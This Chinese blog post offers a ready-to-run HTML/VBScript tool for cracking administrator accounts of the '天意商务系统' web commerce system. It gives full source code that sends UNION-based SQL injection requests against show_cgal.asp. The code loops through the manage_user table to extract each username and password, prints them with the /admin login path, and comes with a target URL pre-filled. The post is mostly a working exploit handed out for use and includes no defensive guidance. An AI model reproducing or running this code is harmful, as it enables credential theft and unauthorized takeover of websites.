天意商务系统后台管理帐号破解html版
/** 慈勤强 http://blog.csdn.net/cqq */
自从上次写了个天意商务系统破解程序之后,
收到了不少朋友的来信,
有询问程序原理的,有询问如何防护的。
今天,我抽了一点时间,做了这个Html版,就只有这一个htm文件
相信有点html知识和SQL Injection知识的朋友都能够看懂
原理非常简单,破解用户帐号是用的SQL Injection方法,
因为这套系统好多地方存在sql injection漏洞,
然后自己下载个这套系统,就可以很方便的找出问题了。
以前是Vc++版本,现在是html版本,不过都是一样,
就是通过http协议取得网页的源文件
然后分析源文件,找到用户名和密码
并且显示出来。
下面是源代码,大家只要把这个文件保存到硬盘上,起名叫ty.htm,就可以了。
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>天意商务系统后台管理帐号破解html版--慈勤强制作</title> <SCRIPT Language = "VbScript"> Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function
Sub OpenUrl(strUrl) strTmp = "" strUser = "!" strAAA ="" strCqq="" i=0 on Error Resume Next
While Trim(strUser) <> "" strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where%20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2" Set xmlhttp = CreateObject("Microsoft.XMLHTTP") xmlhttp.open "GET",(strUrl + strPara),false xmlhttp.send strAAA=getMid(bytes2BSTR(xmlhttp.ResponseBody), "<title>", "</title>") If Trim(strAAA) <> "" Then arr = Split(strAAA, "***") strUser = arr(0) strCqq = strCqq + vbNewLine + "用户名:" + strUser + vbNewLine + "密 码:" + arr(1) + vbNewLine + vbNewLine Else strUser = "" End If //msgbox xmlhttp.Response Set xmlhttp = Nothing Wend If strCqq<>"" Then strCqq="破解的后台管理帐号为:(后台默认地址:"+strUrl+"/admin)"+vbCrLF+VBCRLF+strCqq+vbnewline cqqadmin.innerText=strCqq Else cqqadmin.innerText="出错" End If End Sub Function getMid(str, str1, str2) str11 = "" i = InStr(str, str1) If i > 0 Then j = InStr(i, str, str2) If j > 0 Then str11 = Mid(str, i + Len(str1), j - i - Len(str1)) End If End If getMid = str11 End Function
</script> <style type="text/css"> <!-- body,td,th { font-size: 9pt; } --> </style></head>
<body> <br> <table width="600" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor="#D4D4D4" bgcolor="#E4E4E4"> <tr> <td width="39%">天意商务系统后台管理帐号破解html版</td> <td align="right">Powered By Steven_Cee <a href="Http://blog.csdn.net/cqq" target="_blank">Http://blog.csdn.net/cqq</a> </td> </tr> </table> <br> <table width="600" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td> <form name="frmCqq" method="post"> <input name="url" type="text" value="http://www.3shopok.net" size="44"> <input type="button" name="submit" value="提交" onClick="vbscript:OpenUrl(window.frmCqq.url.value)"> </form> </td> </tr> </table> <table width="600" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="20"> </td> <td><span id="cqqadmin"></span></td> </tr> </table> <table width="600" border="1" align="center" cellpadding="1" cellspacing="0" bordercolor="#E4E4E4" bgcolor="#E4E4E4"> <tr> <td align="center">帮助说明,请看 </td> </tr> </table> <p> </p> <p> </p> <p> </p> </body> </html>

|